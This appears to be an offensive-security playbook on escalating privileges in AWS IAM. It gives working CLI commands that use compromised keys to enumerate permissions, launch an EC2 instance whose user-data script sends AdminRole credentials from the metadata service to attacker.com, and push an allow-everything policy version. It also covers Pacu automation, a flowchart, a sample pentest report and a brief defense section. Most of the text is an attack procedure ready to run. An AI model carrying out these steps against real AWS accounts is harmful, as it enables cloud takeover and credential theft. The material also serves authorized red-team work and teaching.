Aws iam privilege escalation

AWS IAM Privilege Escalation

When to Use

• When you have obtained valid AWS credentials (Access Key ID and Secret Access Key), an STS temporary token, or compromised an EC2 instance metadata service (IMDS).
• To assess the blast radius of a compromised cloud identity.
• When performing a white-box cloud architecture review or executing a Red Team operation in an AWS environment.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Authentication & Enumeration

# Concept: Before escalating, you must understand exactly who you are and what permissions you possess.

# 1. Configure the compromised credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..." # If using STS/IMDS

# 2. Identify Current Identity
aws sts get-caller-identity
# Output:
# {
#     "UserId": "AIDAXXXXXXXXXXXXXXX",
#     "Account": "123456789012",
#     "Arn": "arn:aws:iam::123456789012:user/dev-bob"
# }

# 3. Enumerate Attached Policies (If permitted)
aws iam list-attached-user-policies --user-name dev-bob
aws iam list-user-policies --user-name dev-bob

# Note: If `iam:List*` is denied, you must use brute-forcing (e.g., Pacu or Enumerate-IAM) to guess what you can do.

Phase 2: Exploiting iam:PassRole and ec2:RunInstances

# Concept: If a user can pass a role to an EC2 instance AND spin up that instance, 
# they can assign an Administrator role to a new machine and log into it.

# Prerequisite: You discovered the `arn:aws:iam::123456789012:role/AdminRole` exists.

# 1. Create a Startup Script (User Data) to send the Admin credentials to your listener
cat <<EOF > script.sh
#!/bin/bash
curl http://attacker.com/log -X POST -d "\$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
EOF

# 2. Launch the EC2 instance, passing the Admin Role
aws ec2 run-instances \
    --image-id ami-0abcdef1234567890 \
    --instance-type t2.micro \
    --iam-instance-profile Name="AdminRole" \
    --user-data file://script.sh

# 3. Execution:
# The instance boots, assumes the AdminRole via IMDS, and POSTs the temporary, fully-privileged 
# Admin STS tokens directly to your attacker server.

Phase 3: Exploiting iam:CreatePolicyVersion

# Concept: AWS allows 5 versions of a managed policy. If you have permission to update your OWN policy, 
# you can grant yourself AdministratorAccess.

# 1. Discover you have a policy named `DevAccessPolicy` attached.
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/DevAccessPolicy --version-id v1

# 2. Create the malicious policy document locally
cat <<EOF > admin.json
{
    "Version": "2012-10-17",
    "Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF

# 3. Push a new version of the policy and set it as the active default
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/DevAccessPolicy \
    --policy-document file://admin.json \
    --set-as-default

# You are now a full AWS Administrator.

Phase 4: Automation with Pacu

# Concept: Manual AWS exploitation is tedious. Use the Pacu exploitation framework by Rhino Security Labs.

# 1. Start Pacu and configure the session
pacu
Pacu > set_keys

# 2. Enumerate Permissions automatically
Pacu > run iam__enum_permissions

# 3. Automatically scan for and execute Privilege Escalation vectors
Pacu > run iam__privesc_scan

# Pacu will test 21 known AWS IAM escalation paths (e.g., `UpdateAssumeRolePolicy`, 
# `AttachUserPolicy`, `CreateAccessKey`, `PassRole` to Lambda, etc.) and attempt to gain Admin automatically.

Decision Point 🔀

flowchart TD
    A[Compromise AWS Keys] --> B[Get Caller Identity & Enumerate IAM Policies]
    B --> C{Permissions visible?}
    C -->|Yes| D[Analyze policies for wildcards `*` or dangerous actions]
    C -->|No| E[Use Pacu brute-force enumeration modules]
    D --> F{Can user Launch EC2 or modify Lambda?}
    D --> G{Can user Modify IAM policies or Users?}
    F -->|Yes| H[Pass Admin Role & Extract Keys via IMDS/Reverse Shell]
    G -->|Yes| I[Create Admin Policy Version or Attach Admin Policy to Self]

🔵 Blue Team Detection & Defense

• Principle of Least Privilege: Never attach the AdministratorAccess managed policy or use Action: "*" unless absolutely necessary. Granularly define exactly which API actions a user or role requires.
• Permissions Boundaries: Utilize AWS IAM Permissions Boundaries to set the maximum allowed permissions an identity can have. Even if an attacker finds an iam:CreatePolicyVersion flaw, the Boundary prevents them from escalating beyond the defined sandbox.
• CloudTrail Monitoring: Actively monitor AWS CloudTrail logs for highly sensitive API calls originating from anomalous IPs or failing continuously (indicative of PACU mapping attempts). Alert immediately on iam:PassRole, iam:CreateUser, iam:UpdateAssumeRolePolicy, and sts:AssumeRole chaining.
• IMDSv2 Enforcement: Force all EC2 instances to use Instance Metadata Service Version 2 (IMDSv2). It requires a session token obtained via HTTP PUT request, effectively mitigating most simple SSRF vulnerabilities from accessing the attached IAM role credentials.

Key Concepts

Concept	Description
IAM Role	An AWS identity with permission policies that determine what the identity can and cannot do in AWS. Unlike a User, a Role does not have long-term credentials and is meant to be assumable
iam:PassRole	A permission that allows a user or service to associate an IAM Role with a computational resource (like an EC2 instance or Lambda function)
IMDS	Instance Metadata Service; an API available inside an EC2 instance at 169.254.169.254 that provides data about the instance, including temporary STS credentials if a Role is attached
STS	Security Token Service; an AWS service that enables you to request temporary, limited-privilege credentials

Output Format

Penetration Test Report: AWS Privilege Escalation via EC2 PassRole
==================================================================
Vulnerability: IAM Privilege Escalation (T1078.004)
Severity: Critical (CVSS 9.8)
Target: AWS Account `123456789012:user/developer-tier-1`

Description:
During the assessment, an SSRF vulnerability in the public web application was exploited to extract the temporary STS credentials belonging to the `developer-tier-1` IAM role from the EC2 Instance Metadata Service (IMDS).

Analysis of the role's permissions revealed an insecure configuration allowing both the `iam:PassRole` action targeting wildcard resources (`*`) and the `ec2:RunInstances` action. This combination represents a severe Privilege Escalation path.

Reproduction Steps:
1. Extract the credentials using the SSRF payload targeting `http://169.254.169.254/latest/meta-data/iam/security-credentials/developer-tier-1`.
2. Configure the AWS CLI locally with the obtained Access Key, Secret Key, and Session Token.
3. Construct a maliciously encoded `user-data` bash script designed to retrieve metadata and exfiltrate it via POST request using `curl`.
4. Execute the following CLI command to launch a new instance acting as the `ProductionRDSAdmin` role:
   `aws ec2 run-instances --image-id ami-0abc... --instance-type t2.micro --iam-instance-profile Name="ProductionRDSAdmin" --user-data file://payload.sh`
5. The instance started and successfully delivered the Highly Privileged `ProductionRDSAdmin` STS credentials to the attacker-controlled server.

Impact:
Critical failure of cloud compartmentalization. Low-privileged web-app identity completely circumvented restrictions, escalating to an RDS Database Administrator capable of wiping or extracting the entire production database.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Rhino Security Labs: AWS IAM Privilege Escalation paths
• AWS Documentation: Granting a user permissions to pass a role to an AWS service
• GitHub (Pacu): The AWS exploitation framework